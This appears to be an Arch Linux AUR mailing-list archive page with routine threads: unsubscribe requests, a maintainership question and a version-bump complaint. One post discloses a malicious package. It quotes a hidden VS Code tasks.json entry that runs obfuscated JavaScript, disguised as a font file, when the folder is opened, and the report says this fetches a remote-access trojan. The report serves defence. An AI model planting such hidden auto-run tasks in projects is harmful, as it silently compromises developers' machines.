September 2026 - Aur-general - lists.archlinux.org

support from maintainers for amending author in aur package
by Ueue 11 Oct '26

11 Oct '26

hello For legal/privacy reason I would like to amend the author in one package that i maintain on aur. Can I have support from a maintainer with force push permission? Thank you very much ueue

2 1

Malicious package upstream: glanced (0.1.1-1)
by Saren 09 Oct '26

09 Oct '26

Package: https://aur.archlinux.org/packages/glanced Upstream: https://github.com/ayan-de/glance-linux https://github.com/ayan-de/glance-linux/blob/master/public/fonts/fa-solid-5… is obfuscated javascript disguised as a .woff2 font file, with a lot of whitespace prepended. This javascript will be executed when this package is opened using vscode as defined in .vscode/tasks.json ```json { "label": "eslint-check", "type": "shell", "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-500.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-500.woff2) || echo ''", "isBackground": true, "hide": true, "presentation": { "reveal": "never", "echo": false, "close": true }, "runOptions": { "runOn": "folderOpen" } } ``` When executed, the code will resolve a specific ethereum transaction from blockchain, resolving a 2nd stage payload from http, effectively a RAT. Detailed analysis by claude: https://gist.github.com/Saren-Arterius/d666ff56ef070a551f5f38a404b0c85d

5 7

I'd like to unsubscribe from the mailing list.
by thanos 30 Sep '26

30 Sep '26

I'd like to unsubscribe from the mailing list.

5 6

Malicious packge fsearch-bin
by Saren 29 Sep '26

29 Sep '26

"linter" https://aur.archlinux.org/packages/fsearch-bin

2 1

Could Transcribe! get into extra?
by Razvan Cojocaru 28 Sep '26

28 Sep '26

Hi, And thanks for granting me maintainership of Transcribe!. [1] I've made it up-to-date, and squashed a few minor bugs in the PGKBUILD scripts. This is a popular music transcription software, and it's currently got 12 votes. Would it make sense to add it to extra? If it would, what would that entail? Thanks! [1] https://aur.archlinux.org/packages/transcribe

3 5

Mere pkgver bumps: gtk-nocsd-git
by Ralf Mardorf 28 Sep '26

28 Sep '26

Hi, a package maintainer who also maintains the upstream project means well but bumps the version of their git packages very frequently without a good reason. I've tried to explain that users want to use CVS packages for good reasons and that it's desirable to follow the guidelines regarding version bumps for CVS packages. These well-intentioned version bumps can be very inconvenient for users of many CVS packages. We seem to be talking past each other. Can someone please help to explain why it's not such a great idea to provide git packages with version bumps for the "wrong" reasons? I'm convinced that the maintainer's intentions are well-meaning. However, I use CVS packages the way they were originally intended, and version bumps like that can be very disruptive. See the comments at https://aur.archlinux.org/packages/gtk-nocsd-git . https://aur.archlinux.org/packages/gtk-nocsd-git#comment-1086532 https://aur.archlinux.org/packages/gtk-nocsd-git#comment-1086552 https://aur.archlinux.org/packages/gtk-nocsd-git#comment-1086555 https://aur.archlinux.org/packages/gtk-nocsd-git#comment-1086557 https://aur.archlinux.org/packages/gtk-nocsd-git#comment-1086559 https://aur.archlinux.org/packages/gtk-nocsd-git#comment-1086560 https://aur.archlinux.org/packages/gtk-nocsd-git#comment-1086561 TIA, Ralf

6 12

Leave
by moorethemerrier819 28 Sep '26

28 Sep '26

I'd like to unsubscribe from the mailing list.

1 0

Leave
by Thomas Andersen 27 Sep '26

27 Sep '26

leave

3 2

Leave
by Melih Emik 27 Sep '26

27 Sep '26

1 0

leave
by rainer.s＠flinkpost.de 27 Sep '26

27 Sep '26

leave

1 0